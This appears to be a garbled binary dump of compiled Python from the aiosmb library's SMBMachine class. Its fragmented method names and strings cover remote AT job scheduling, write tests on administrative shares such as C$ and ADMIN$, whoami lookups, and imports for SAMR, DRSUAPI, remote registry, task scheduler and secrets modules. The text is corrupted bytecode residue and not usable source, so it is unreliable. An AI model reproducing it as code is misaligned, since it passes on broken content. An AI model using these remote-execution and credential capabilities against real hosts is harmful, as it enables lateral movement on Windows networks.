         z0t | j| jd4 I d H }|j||dI d H W  d   I d H  W S 1 I d H s*w   Y  W d S  tyG } z
d |fW  Y d }~S d }~ww Nrc   )
servername)r"   r0   r2   add_jobr[   )r4   atinfor  rj   r`   r5   r5   r6   
at_add_jobG     4zSMBMachine.at_add_jobc              
      s   z/t | j| jd4 I d H }|j|dI d H W  d   I d H  W S 1 I d H s)w   Y  W d S  tyF } z
d |fW  Y d }~S d }~ww r  )r"   r0   r2   	enum_jobsr[   )r4   r  rj   r`   r5   r5   r6   at_enumN  s   4zSMBMachine.at_enumjob_idc              
      r  r  )r"   r0   r2   del_jobr[   r4   r  r  rj   r`   r5   r5   r6   
at_del_jobU  r  zSMBMachine.at_del_jobc              
      r  r  )r"   r0   r2   get_jobr[   r  r5   r5   r6   at_get_info\  r  zSMBMachine.at_get_infoc           	   
   C  s8  z|   2 zx3 d H W \}}|d urq|jdv r|dd fV  qd}|jdtd   }|jdtd   }t| j|I d H \}}|d u rUd}t	| j|I d H  |du rxt
|}|j| jddI d H \}}|d u rxd}| I d H  ||d fV  q6 W d S  ty } zd d |fV  W Y d }~d S d }~ww )	N)rM   zC$zADMIN$r   zD$zE$zF$zG$zH$zI$zJ$zK$zL$zM$zN$zO$zP$zQ$zR$zS$zT$zU$zV$zW$zX$zY$zZ$Fz\test_%sr!  z\test_file_%sTr   )mode)rU   rV   unc_pathr   r(  r)  r   create_remoter0   r   r   rM  rG   r@  r[   )	r4   r\   rJ   	writeabletest_path_dirtest_path_filer]   r   r`   r5   r5   r6   share_write_testc  s6   

zSMBMachine.share_write_testc              
      s  zg }t | j| jd4 I d H }t| j| jd4 I d H }| I d H \}}|d ur-|||I d H \}}|d ur=|| I d H \}}|d urL||||I d H \}}	}
}|d ur_|||	I d H \}}|d uro|||I d H \}}|d ur||	||
I d H \}}|d ur||
|2 z3 d H W \}}|d ur||| q6 W d   I d H  n1 I d H sw   Y  ||	||d fW  d   I d H  W S 1 I d H sw   Y  W d S  ty } zd d d d |fW  Y d }~S d }~ww ry   )r   r0   r2   r   r   r   get_usernameget_sid_for_userr   	open_userget_user_group_membershipsru   r[   )r4   groupsr   r   r   rJ   r   rp   usersid
domainnameuserridsdsidr   r   xr`   r5   r5   r6   whoami  sL   (!4#zSMBMachine.whoamir>  )NTF)F)rl   )rO   )T)r   r/   )NF)NNrO   )ro   )rn  ro  rN   )rn  F)r;   )d__name__
__module____qualname__r7   r9   rC   r?   r-   rK   r   r   r  r   r[   ra   boolr
   rU   intr   rr   rx   rz   r   r}   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   bytesr   r   r   r   r%   r   r&   r  r  r  r$   r  r   r  r  r  r5  rE  r)   SERVICE_AUTO_STARTr*  r-  r/  r0  rQ  rT  rV  rZ  r(   TASK_CREATETASK_LOGON_NONEr`  rc  rd  rf  rg  rm  rr  rv  ry  r   r  r  r  r  r  r  r  r  r  r  r  r5   r5   r5   r6   r.   '   s    
&	,,,&(22(***2	2	.	.
	.	*%j	L**	&&*&&&.8"B*	&,8C:L&&&&0&&(
D"0&>,&#46&&*&r.   )Jr=   r   r   typingr   r   r   r   r   r   r   aiosmbr	   aiosmb.commons.interfaces.sharer
   !aiosmb.commons.interfaces.sessionr   aiosmb.commons.interfaces.filer   #aiosmb.commons.interfaces.directoryr   aiosmb.commons.utils.cpasswdr   #aiosmb.dcerpc.v5.interfaces.srvsmgrr   r   #aiosmb.dcerpc.v5.interfaces.samrmgrr   r   #aiosmb.dcerpc.v5.interfaces.lsatmgrr   r   &aiosmb.dcerpc.v5.interfaces.drsuapimgrr   *aiosmb.dcerpc.v5.interfaces.servicemanagerr   r   *aiosmb.dcerpc.v5.interfaces.remoteregistryr   r   #aiosmb.dcerpc.v5.interfaces.rprnmgrr   r   #aiosmb.dcerpc.v5.interfaces.tschmgrr   r   "aiosmb.dcerpc.v5.interfaces.parmgrr   r   #aiosmb.dcerpc.v5.interfaces.wkstmgrr    r!   $aiosmb.dcerpc.v5.interfaces.atsvcmgrr"   aiosmb.dcerpc.v5.dtypesr#   aiosmb.dcerpc.v5.common.secretsr$   aiosmb.dcerpc.v5.common.servicer%   r&   aiosmb.connectionr'   aiosmb.dcerpc.v5r(   r)   #aiosmb.protocol.smb2.commands.ioctlr*   r+   aiosmb.dcerpc.v5.rprnr,   
contextlibr-   r.   r5   r5   r5   r6   <module>   s<   $